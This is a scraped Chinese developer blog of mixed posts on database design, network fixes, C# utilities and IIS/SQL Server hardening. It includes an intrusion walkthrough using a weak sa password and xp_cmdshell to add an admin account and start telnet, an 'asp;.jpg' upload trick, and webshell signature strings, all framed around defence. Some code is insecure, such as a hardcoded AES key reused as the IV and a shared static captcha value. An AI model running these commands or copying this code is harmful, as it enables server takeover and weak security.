Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

1, 京东、淘宝这样的网上商城是综合性的,除按分类查询外,还要据属性进行进一步的筛选。它各种分类、各种产品都有,对应的产品属性是不一样的,将所有产品放到一张表中存储显然是不可取的,因为这样此表的栏位要多的不可想像,并且每种产品对应的属性栏位并不多,大部分栏位都浪费掉。
所以设计时:产品属性不能固化下来,而是要以行的形式存储。
对应结构为:
商品ID对应分类ID
分类ID对应属性组ID
商品属性ID对应商品ID、属性组ID、属性值
属性ID对应属性名称

2,而小一些的电子商城若只按分类查询,没有涉及属性的进一步的筛选,并且产品属于有限个种类,如保健药品类与健身器材类,因药类与器材类属性大部分相同,故分别开两张表即可:保健药品表、健身器材表。再加个产品与分类ID的关系表。

注:表设计的目的是将近相同属性的东西放到一块,有明显区别的需要拆分


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

系统出现数据库无法连接的问题,远程连接不上服务器,进入机房服务器查看,运行良好,只是在右下方不时弹出IP冲突的提示,在客户机上运行arp -a 查看,发现所在IP对应的mac地址不是服务器的mac地址,遂想到有一位同事的IP错误的设置成了服务器IP,客户机都访问同事的电脑去了,出现数据库无法连接的问题,
解决方法:1,找出冲突IP所在电脑,更改IP,在客户机上运行arp -d删除缓存信息。
2,在不方便找出冲突IP的情况下,更改服务器的IP地址。

注:ARP原因:地址解析协议,是一种将IP地址转化成物理地址的协议
1,局域网同一网段的网络流通不是根据IP地址进行,而是按照MAC地址进行传输,需要将被访问电脑的IP地址转为MAC地址才能通讯,为便于通讯,会有2分钟的缓存机制。
2,某机器A要向主机B发送报文,会查询本地的ARP缓存表,找到B的IP地址对应的MAC地址后,就会进行数据传输。对本地的ARP2缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。如果未找到,则广播A一个ARP请求报文(携带主机A的IP地址Ia??物理地址Pa),请求IP地址为Ib的主机B回答物理地址Pb。网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

目录]
0x00 前言
0x01 Webshell检测模型
0x02 静态特征检测
0x03 动态特征检测
0x04 结语

0x00 前言
什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不
过不了解也没关系,那就请先搜索下相关资料[1]。当然,本着“know it then hack it”
的原则,建议你还是搭个环境,熟悉下先,毕竟纸上谈兵是要不得的。
随着网络的发展,Web站点的增加,webshell这种脚本后门技术也发展起来了,多少黑
客故事都是从一个小小的webshell开始的。所以对于网站,特别是站点和应用众多的互联网
企业,能够在出现webshell的阶段及时发现和响应就显得尤为重要。
本文以笔者多年从事相关工作的经验来探讨下webshell的检测手段。

0x01 Webshell检测模型
记得当年第一个ASP木马出来的时候号称“永不被杀的ASP木马”(请大家虔诚地起立,
我们一起来膜拜一下海洋顶端ASP木马之父LCX大叔),因为它使用正常端口,且脚本容易变
形,使得查杀它变得困难。但是,Webshell这种特殊的Web应用程序也有两个命门:文件和
HTTP请求。
我们先来看下Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。
简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。
棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然
不是绝对的),只有在应用层进行检测。
黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含
webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数
据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。

0x02 静态特征检测
静态特征检测是指不执行而通过围观的方式来发现webshell,即先建立一个恶意字符串
特征库,然后通过在各类脚本文件中检查是否匹配。这是一种最简单也是最常见的技术,高
级一些的,可能还涉及到语义分析。笔者06年开发的“雷客图ASP站长安全助手”[2]即是通
过此类办法查找ASP类型的webshell的。
静态特征检测面临的一个问题是误报。因为一些特征字符串正常程序本身也需要用到。
比如PHP里面的eval、system等,ASP里面的FileSystemObject、include等。所以雷客图在
设计之初就是一个辅助工具,最终还需要有相关安全经验的人来判定。
对于少量站点可以用这样人肉去检查,如果是一个成千上万站点的大型企业呢,这个时
候再人肉那工作量可就大了。所以用这样一种思路:强弱特征。即把特征码分为强弱两种特
征,强特征命中则必是webshell;弱特征由人工去判断。加入一种强特征,即把流行webshell
用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。
比如PHPSpy里面会出现phpspy、wofeiwo、eval($_POST[xxx])等,ASP里面出现Shell.Application
等。当然,黑客完全可以变形躲过,没关系,还有人工检查的弱特征。
另一个问题是漏报。程序的关键是特征字符串,它直接关系着结果,如果你的特征库里
面没有记录的甚至是一种新的webshell代码,就可能束手无策了。雷客图第一版出来后,我
自以为所有的ASP webshell都可以查了,但是我错了,因为不断会有新的方式出来绕过,最
终结果就是特征被动的跟着webshell升级而升级,同时还面临未知的webshell??这个情况
和特征码杀毒软件何其相似。
要解决误报和漏报,就不能拘泥于代码级别了。可以换个角度考虑问题:文件系统。我
们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,
如果我的Web目录无缘无故多了个nobody的文件,这里就有问题了。最理想的办法是需要制度
和流程来建设一个Web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发
现。

0x03 动态特征检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我
们称为动态特征。
先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应
做成特征库,加到IDS里面去检测所有的HTTP请求就好了。
这个方案有个问题就是漏报。首先你得把网上有的webshell都搜集起来抓特征,这是个
体力活,新的webshell出来还要去更新这个库,总是很被动,被动就算了,但是一些不曾公
开的webshell通信就会漏掉。那么这个方案有没有效果,只能说效果有限吧,对付拿来主义
的菜鸟可以,遇到高级一些的黑客就无效了。杀毒软件都搞主动防御了,webshell也不能老
搞特征码是吧。
webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,
Win下就是IIS User启动cmd,这些都是动态特征,不过需要看黑客是否执行命令(多半会这
样),还有就是你的服务器上要有一个功能强大的Agent。要是黑客高兴,再反连回去,这
下就更好了,一个TCP连接(也可能是UDP),Agent和IDS都可以抓现行。这里还涉及到主机
后门的一些检测策略,以后有机会再另文叙述。
回到网络层来,之前我们探讨过,Webshell总有一个HTTP请求,如果我在网络层监控HTTP
请求(我没有监控Apache/IIS日志),有一天突然出现一个新的PHP文件请求或者一个平时
是GET请求的文件突然有了POST请求,还返回的200,这里就有问题了。这种基于区别于正常
请求的异常模型,姑且称之为HTTP异常请求模型检测。一旦有了这样的模型,除了Webshell,
还可以发现很多问题的。
还有一个思路来自《浅谈javascript函数劫持》[3]和某款代码审计软件。回忆一下,
我们调试网马的时候,怎么还原它各种稀奇古怪的加密算法呢,简单,把eval改成alert就
好了!类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),
当有webshell调用的时候就可以发现异常。例如以下ASP代码就实现了对ASP的execute函数
的重载:
–code————————————————————————-
<% Function execute(stra) Response.Write("get the arg : "+stra) End Function a="response.write(""hello,world"")" execute(a) %>
——————————————————————————-
这个方法在应用层还是有些问题,所以如果在CGI引擎内核里面改可能会好些。根据小
道消息,这期ph4nt0m的webzine会有一篇文章涉及PHP内核中防webshell的,有兴趣的同学
可以关注。

0x04 结语
本文只探讨了检测Webshell的一些思路,希望对你有些帮助,如果你有更好的方案,也
可以和我探讨。至于一些工具和特征,由于这样那样的原因就不公开了,我始终认为,相比
于工具,思路永远是最重要的。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

过程:利用x-scan扫描目标机,因服务器sqlserver是弱口令,得到sa权限。用查询分析器连接上去,执行以下方法添加一个管理员账号,进尔得到服务器的控制权限:

–打开xp_cmdshell
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘

应对方式:net.exe ;net1.exet ;cmd.exe ;tftp.exe ;netstat.exe ;regedit.exe ;at.exe ;
attrib.exe;cacls.exe;format.com;ftp.exe;at.exe;telnet.exe;command.com;netstat.exe;arp.exe;nbtstat.exe仅给管理员权限,其它都去掉,包括system


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

1,模拟过程:hacker破解掉网站后台密码后,在文件上传中,上传了一个jpg的木马,网站上面是可以显示图片路径的,然后他在地址栏中执行,由于服务器没有做安全权限,故得到一切…
jpg木马:一个asp或asa木马,将其名称改为 aaa.asp;.jpg 或者aaa.asp;.aaa
这种木马是IIS在执行时有一个解析漏洞引起,称为IIS解析漏洞
IIS解析漏洞
1,网站上传图片的时候,将网页木马文件的名字改成“*.asp;.jpg”,也同样会被 IIS 当作 asp 文件来解析并执行。例如上传一个图片文件,名字叫“vidun.asp;.jpg”的木马文件,该文件可以被当作 asp 文件解析并执行。

2,在网站下建立文件夹的名字为 *.asp、*.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp,那么 /vidun.asp/1.jpg 将被当作 asp 文件来执行。

木马查找:ASPX:DirectoryInfo ASP:filesystemobject

预防措施:
一、网站
1,网站后台密码设置复杂,14位以上
2,限制IP登录
3,上传文件的地方,除限制文件类型外,获取上传文件的后缀名,文件名随机生成,这样就去掉了asp.生成的文件为xxx.jpg,而不在是xxx.aspa;.jpg。
同时,在IIS中,右击上传文件夹,执行权限设置为无

4,若网站是aspx的,那么去掉asp的映射。
二、服务器
1,磁盘目录,仅给administrator,system权限,在高级里面,记得将允许父…,将此…都打上√
把windows临时文件夹temp转移到其它盘
1。在D盘建立temp这个文件夹
2。控制面板/系统/高级/环境变量/用户变量/把temp和tmp值编辑到 d:\temp
3。控制面板/系统/高级/环境变量/系统变量/把temp和tmp值编辑到 d:\temp
4。仅给administrator,system权限,及networkservice的读写权限,重启系统后生效
2,网站目录:networkservice,IIS来宾账号给予读取权限,administrator给予所有权限,其它都去掉。
仅上传文件的目录写权限
3,网站源码:封装成dll,混淆,web.config中的数据库链接移出,字符串加密放到注册表中,在封装的dll类中读取此注册表项信息即可,放在注册表中方便修改。

防止执行CMD
卸载wscript.shell对象,在cmd下或直接运行:regsvr32 /u %windir%\system32\WSHom.Ocx
卸载FSO对象,在cmd下或直接运行:regsvr32.exe /u %windir%\system32\scrrun.dll
卸载stream对象,在cmd下或直接运行: regsvr32 /s /u “C:\Program Files\Common Files\System\ado\msado15.dll”


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace ConsoleApplication38
{
    public class LevenshteinDistance
    {

        private static LevenshteinDistance _instance=null;
        public static LevenshteinDistance Instance
        {
            get
            {
                if (_instance == null)
                {
                    return new LevenshteinDistance();
                }
                return _instance;
            }
        }
    

        /// <summary>
        /// 取最小的一位数
        /// </summary>
        /// <param name="first"></param>
        /// <param name="second"></param>
        /// <param name="third"></param>
        /// <returns></returns>
        public int LowerOfThree(int first, int second, int third)
        {
            int min = first;
            if (second < min)
                min = second;
            if (third < min)
                min = third;
            return min;
        }

        public int Levenshtein_Distance(string str1, string str2)
        {
            int[,] Matrix;
            int n=str1.Length;
            int m=str2.Length;

            int temp = 0;
            char ch1;
            char ch2;
            int i = 0;
            int j = 0;
            if (n ==0)
            {
                return m;
            }
            if (m == 0)
            {

                return n;
            }
            Matrix=new int[n+1,m+1];

            for (i = 0; i <= n; i++)
            {
                //初始化第一列
                Matrix[i,0] = i;
            }

            for (j = 0; j <= m; j++)
            {
                //初始化第一行
                Matrix[0, j] = j;
            }

            for (i = 1; i <= n; i++)
            {
                ch1 = str1[i-1];
                for (j = 1; j <= m; j++)
                {
                    ch2 = str2[j-1];
                    if (ch1.Equals(ch2))
                    {
                        temp = 0;
                    }
                    else
                    {
                        temp = 1;
                    }
                    Matrix[i,j] = LowerOfThree(Matrix[i - 1,j] + 1, Matrix[i,j - 1] + 1, Matrix[i - 1,j - 1] + temp);


                }
            }

            for (i = 0; i <= n; i++)
            {
                for (j = 0; j <= m; j++)
                {
                    Console.Write(" {0} ", Matrix[i, j]);
                }
                Console.WriteLine("");
            }
            return Matrix[n, m];

        }

        /// <summary>
        /// 计算字符串相似度
        /// </summary>
        /// <param name="str1"></param>
        /// <param name="str2"></param>
        /// <returns></returns>
        public decimal LevenshteinDistancePercent(string str1,string str2)
        {
            int maxLenth = str1.Length > str2.Length ? str1.Length : str2.Length;
            int val = Levenshtein_Distance(str1, str2);
            return 1 - (decimal)val / maxLenth;
        }
    }

    class Program
    {


        static void Main(string[] args)
        {
            string str1 = "你好蒂蒂";
            string str2="你好蒂芬";
            Console.WriteLine("字符串1 {0}", str1);

            Console.WriteLine("字符串2 {0}", str2);

            Console.WriteLine("相似度 {0} %", LevenshteinDistance.Instance.LevenshteinDistancePercent(str1, str2)*100);
            Console.ReadLine();
        }
    }



}


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
public class Watcher
{

    public static void Main()
    {
    Run();

    }

    [PermissionSet(SecurityAction.Demand, Name="FullTrust")]
    public static void Run()
    {
        string[] args = System.Environment.GetCommandLineArgs();

        // If a directory is not specified, exit program.
        if(args.Length != 2)
        {
            // Display the proper way to call the program.
            Console.WriteLine("Usage: Watcher.exe (directory)");
            return;
        }

        // Create a new FileSystemWatcher and set its properties.
        FileSystemWatcher watcher = new FileSystemWatcher();
        watcher.Path = args[1];
        /* Watch for changes in LastAccess and LastWrite times, and
           the renaming of files or directories. */
        watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
           | NotifyFilters.FileName | NotifyFilters.DirectoryName;
        // Only watch text files.
        watcher.Filter = "*.txt";

        // Add event handlers.
        watcher.Changed += new FileSystemEventHandler(OnChanged);
        watcher.Created += new FileSystemEventHandler(OnChanged);
        watcher.Deleted += new FileSystemEventHandler(OnChanged);
        watcher.Renamed += new RenamedEventHandler(OnRenamed);

        // Begin watching.
        watcher.EnableRaisingEvents = true;

        // Wait for the user to quit the program.
        Console.WriteLine("Press \'q\' to quit the sample.");
        while(Console.Read()!='q');
    }

    // Define the event handlers.
    private static void OnChanged(object source, FileSystemEventArgs e)
    {
        // Specify what is done when a file is changed, created, or deleted.
       Console.WriteLine("File: " +  e.FullPath + " " + e.ChangeType);
    }

    private static void OnRenamed(object source, RenamedEventArgs e)
    {
        // Specify what is done when a file is renamed.
        Console.WriteLine("File: {0} renamed to {1}", e.OldFullPath, e.FullPath);
    }
}


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

1,360arp防火墙开着,不是arp欺骗
2,在%windir%\system32\inetsrv\MetaBase.xml看到DefaultDocFooter指向一其它文件,明白原因所在!,删除。
DefaultDocFooter 属性指定附加到返回到客户端的 HTML 文件的自定义页脚(页脚并不附加到 ASP 文件)。如果将 EnableDocFooter 属性设置为 true,则仅发送自定义页脚。页脚可以是一个字符串
DirBrowseFlags 控制是否启用目录浏览,可以提供多少目录和文件信息(如果启用浏览)以及目录中是否包含默认页的标记。
注意 如果客户端访问目录时没有提供文件名,而 EnableDefaultDoc 标志设置为 true,那么服务器将查找 DefaultDoc 属性指定的默认文件。如果该目录中不存在默认文件,而 EnableDirBrowsing 标志又设置为 true,那么系统将启用目录浏览。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
建立复制分发的时候出现:OLE DB访问接口”SQLNCLI”无法启动分布式事物
原因:双方均要启动msdtc服务。
解决方法:双方电脑:
1.控制面板->管理工具->组件服务->计算机->我的电脑->右键->属性
2. 选择MSDTC页, 确认”使用本地协调器”
3.点击下方”安全配置”按钮
4. 勾选: “允许网络访问”,”允许远程客户端”,”允许入站”,”允许出站”,”不要求进行身份验证”.
5. 对于数据库服务器端, 可选择”要求对呼叫方验证”
停止分布式事务协调器服务,然后重新予以启动。
停止参与分布式事务的任何资源管理器服务(如 Microsoft SQL Server 或 Microsoft Message Queue Server),然后重新予以启动。
6.在双方防火墙中增加MSDTC.exe例外
可用命令行: netsh firewall set allowedprogram %windir%\system32\msdtc.exe MSDTC enable
7.dtC用到remoting的135端口,确保防火墙没有阻止
若还不行,修改host文件,将对方机器名和IP加入,因为远程服务器需通过发起服务器的机器名查找服务器。

注意:若是集群,则开群集DTC设置(在本地DTC下面)
或者在没有事务的情况下,不使用DTC
EXEC sp_serveroption @server = 'dpreport',@optname = 'remote proc transaction promotion', @optvalue = 'false'


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

方法1: 抓取订单表中当前最大的编号,进行加1产生新的编号
优点:简单
缺点:当订单表很大时,速度将慢下来

方法2:建立一mdCurrentNo表,取出此表的值并增加1
优点:此表只有一条数据,故速度很快。
缺点:编号只能是递增的。

方法3:建立一mdCurrentNo表,同时建立一mdOrderNo表,里面存储了提前生成的随机不重复编号,结构为ID,No, 而mdCurrentNo的值存放的就是ID值,每次取出此ID JOIN mdOrderNo的ID,得到编号,然后将ID+1
优点:灵活
缺点:需要定时生成mdOrderNo的记录


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

网络连接配置正确,只是访问\\192.168.16.223这样的资源提示无法访问。
原因:将服务中的Workstation启动即可。
注:WordStation:维护远程资料访问功能


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
莱恩戴尔算法
调用方式:
 SymmetricMethod smd = new SymmetricMethod();
 string encode = smd.Encrypto("18620023427"); //JyHPgvA0lDTzgEKGYeCvxw==
 string decode = smd.Decrypto(encode);
可用DotNETReactor混淆加密提升安全
参考:http://www.cnblogs.com/freelyflight/archive/2005/08/19/218139.aspx


  /// <summary>
    /// 对称加密算法类
    /// </summary>
    public class SymmetricMethod
    {

        private SymmetricAlgorithm mobjCryptoService;
        private string Key;
        /// <summary>
        /// 对称加密类的构造函数
        /// </summary>
        public SymmetricMethod()
        {
            mobjCryptoService = new RijndaelManaged();
            Key = "LifeIsGood@lvshou";
        }
        /// <summary>
        /// 获得密钥
        /// </summary>
        /// <returns>密钥</returns>
        private byte[] GetLegalKey()
        {
            string sTemp = Key;
            mobjCryptoService.GenerateKey();
            byte[] bytTemp = mobjCryptoService.Key;
            int KeyLength = bytTemp.Length;
            if (sTemp.Length > KeyLength)
                sTemp = sTemp.Substring(0, KeyLength);
            else if (sTemp.Length < KeyLength)
                sTemp = sTemp.PadRight(KeyLength, ' ');
            return ASCIIEncoding.ASCII.GetBytes(sTemp);
        }
        /// <summary>
        /// 获得初始向量IV
        /// </summary>
        /// <returns>初试向量IV</returns>
        private byte[] GetLegalIV()
        {
            //string sTemp = "E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk";
            string sTemp = Key;
            mobjCryptoService.GenerateIV();
            byte[] bytTemp = mobjCryptoService.IV;
            int IVLength = bytTemp.Length;
            if (sTemp.Length > IVLength)
                sTemp = sTemp.Substring(0, IVLength);
            else if (sTemp.Length < IVLength)
                sTemp = sTemp.PadRight(IVLength, ' ');
            return ASCIIEncoding.ASCII.GetBytes(sTemp);
        }
        /// <summary>
        /// 加密方法
        /// </summary>
        /// <param name="Source">待加密的串</param>
        /// <returns>经过加密的串</returns>
        public string Encrypto(string Source)
        {
            byte[] bytIn = UTF8Encoding.UTF8.GetBytes(Source);
            MemoryStream ms = new MemoryStream();
            mobjCryptoService.Key = GetLegalKey();
            mobjCryptoService.IV = GetLegalIV();
            ICryptoTransform encrypto = mobjCryptoService.CreateEncryptor();
            CryptoStream cs = new CryptoStream(ms, encrypto, CryptoStreamMode.Write);
            cs.Write(bytIn, 0, bytIn.Length);
            cs.FlushFinalBlock();
            ms.Close();
            byte[] bytOut = ms.ToArray();
            return Convert.ToBase64String(bytOut);
        }
        /// <summary>
        /// 解密方法
        /// </summary>
        /// <param name="Source">待解密的串</param>
        /// <returns>经过解密的串</returns>
        public string Decrypto(string Source)
        {
            byte[] bytIn = Convert.FromBase64String(Source);
            MemoryStream ms = new MemoryStream(bytIn, 0, bytIn.Length);
            mobjCryptoService.Key = GetLegalKey();
            mobjCryptoService.IV = GetLegalIV();
            ICryptoTransform encrypto = mobjCryptoService.CreateDecryptor();
            CryptoStream cs = new CryptoStream(ms, encrypto, CryptoStreamMode.Read);
            StreamReader sr = new StreamReader(cs);
            return sr.ReadToEnd();
        }
    }


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
1,生成图片类:
using System;
using System.Configuration;
using Share.Data;
using System.Data.SqlClient;
using System.Text;
using System.Data;
using Share.Utility;
using System.IO;
using System.Drawing;
using System.Drawing.Imaging;
namespace Web.Class.Constant
{
    /// <summary>
    /// Summary description for HelpConstant.
    /// </summary>
    public class VerifyCode : System.Web.UI.Page
    {
        private static string codenum;
        public static string CodeNum
        {
            get { return codenum; }
            set { codenum = value; }
        }
        public static string strRandom(int Ia, int Ib)
        {
            Random rd = new Random(unchecked((int)DateTime.Now.Ticks));
            object i = rd.Next(Ia, Ib);
            return i.ToString();
        }
        public static byte[] GetCode(int Ia, int Ib)
        {
            CodeNum = strRandom(Ia,Ib);
            Bitmap bm = new Bitmap(50, 15, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
            Font f = new Font("Lucida Sans Unicode", 9, FontStyle.Bold);
            Graphics g = Graphics.FromImage(bm);
            Rectangle newRect = new Rectangle(0, 0, 50, 16);
            g.FillRectangle(new SolidBrush(Color.WhiteSmoke), newRect);
            g.DrawString(codenum, f, new SolidBrush(Color.Red), 1, -1);
            MemoryStream mStream = new MemoryStream();
            bm.Save(mStream, ImageFormat.Gif);
            g.Dispose();
            bm.Dispose();
            
            return mStream != null?mStream.ToArray():null;

        }

    }
}

2,输出:
        Response.ClearContent();
        Response.ContentType = "image/GIF";
        Response.BinaryWrite(VerifyCode.GetCode(10000, 99999));
        Response.End();
3,前台引用:
4,前台录入的与VerifyCode.CodeNum比较即可


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
数组:0 1 2 3 4 5
取数据:
方法1:取出一个删除一个,但删除很费时,性能并不高
方法2:取出一个,用数组最后一位填充,相当于将最后一位前移,同时将最后一排除在下次取数据之外即可。
&lt;a href="http://www.cnblogs.com/eaglet/archive/2011/01/17/1937083.html"&gt;不重复随机数列生成算法&lt;/a&gt;

新方法:

下面的时间复杂度很小
public static int[] GetRandomSequence2(int total)

{

int[] sequence = new int[total];

int[] output = new int[total];

for (int i = 0; i &amp;lt; total; i++)

{

sequence[i] = i;

}

Random random = new Random();

int end = total - 1;

for (int i = 0; i &amp;lt; total; i++)

{

int num = random.Next(0, end + 1);

output[i] = sequence[num];

sequence[num] = sequence[end];

end--;&nbsp; //缩小范围,将最后一位前移,并排除最后一位。

}

return output;

}

老方法:时间复杂度为n2
public static int[] GetRandomSequence0(int total)

{

int[] hashtable = new int[total];

int[] output = new int[total];

Random random = new Random();

for (int i = 0; i &amp;lt; total; i++)

{

int num = random.Next(0, total);

while (hashtable[num] &amp;gt; 0)

{

num = random.Next(0, total);

}

output[i] = num;

hashtable[num] = 1;

}

return output;

}


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

主要是用organid字段 ,在数据表中表示好树形结构。
1,数据形式:
category organid
保健家居用品类 01
内衣 0101
其他 0102
保健器械类 02
丰胸美乳 0201
减肥瘦身 0202
身体保健 0203
其他 0204
保健食品类 03
品牌 0301
贝力美 030101
高颗丽挺 030102
零点1号 030103
零点2号 030104

2,取数据:
SELECT STUFF(a.Category,1,0,REPLICATE(‘-‘,LEN(a.OrganID)-2))
FROM mdCategory a(NOLOCK)
ORDER BY a.OrganID

效果:
保健家居用品类
–内衣
–其他
保健器械类
–丰胸美乳
–减肥瘦身
–身体保健
–其他
保健食品类
–品牌
—-贝力美
—-高颗丽挺


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

1,IE自带的打印方法繁琐,利用控件,
目前有:QWPrint、Lodop,JaTools。
Lodop:功能最强大,可拖曳式布局打印界面,免费版直接打印时带有版权信息。
JaToos:功能一般,不过价格比较贵一些。
QWPrint:功能简单一些,不过是完全免费,封装一下也能解决目前的打印问题。

2,QWPrint打印的是当前页面,若想打印指定内容,需要进行封装一下,思路:在指定的内容传到一新窗口中打印,然后关闭窗口。
方法:

//vinfo:指定要打印的元素名称,model:默认为预览,为1时为直接打印
function OutTo(vinfo,model){
var content = document.getElementById(vinfo);
if ( content == undefined )
{
alert(‘请指定打印的内容!’);
return;
}
var wprint = window.open();
wprint.moveTo(-500,-500); //隐藏窗口
//指定打印内容
wprint.document.writeln(content.innerHTML);
wprint.document.body.style.cssText=”margin:0px;”;
//打印控件
wprint.document.writeln(“


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

在Windows 的TEMP 目录下把Network Services(2003用)加到目录安全性下,注意:除了读取和运行权还不够,要加修改和写入的权限,否则还是会出”拒绝访问”的错误.


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

已将hbm.xml改成嵌入的资源还是不行,后来发现:
<hibernate-mapping xmlns=”urn:nhibernate-mapping-2.0” assembly=”MyLib” namespace=”MyLib”>
更改为<hibernate-mapping xmlns=”urn:nhibernate-mapping-2.2” assembly=”MyLib” namespace=”MyLib”> 解决!


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

最具体的功能到底需要哪些,需要做到多细,都要由哪些详细的功能也都没了解,最终有多少个工作量?有没有参考例子
这个功能倒是那个部门用?有几个人用?都有谁谁来用?真的是单机版就可以了吗?
新项目如何正式上线?老数据如何倒入,什么时候导入?新系统如何测试?2个系统如何平滑衔接?
有没有签订正规的合同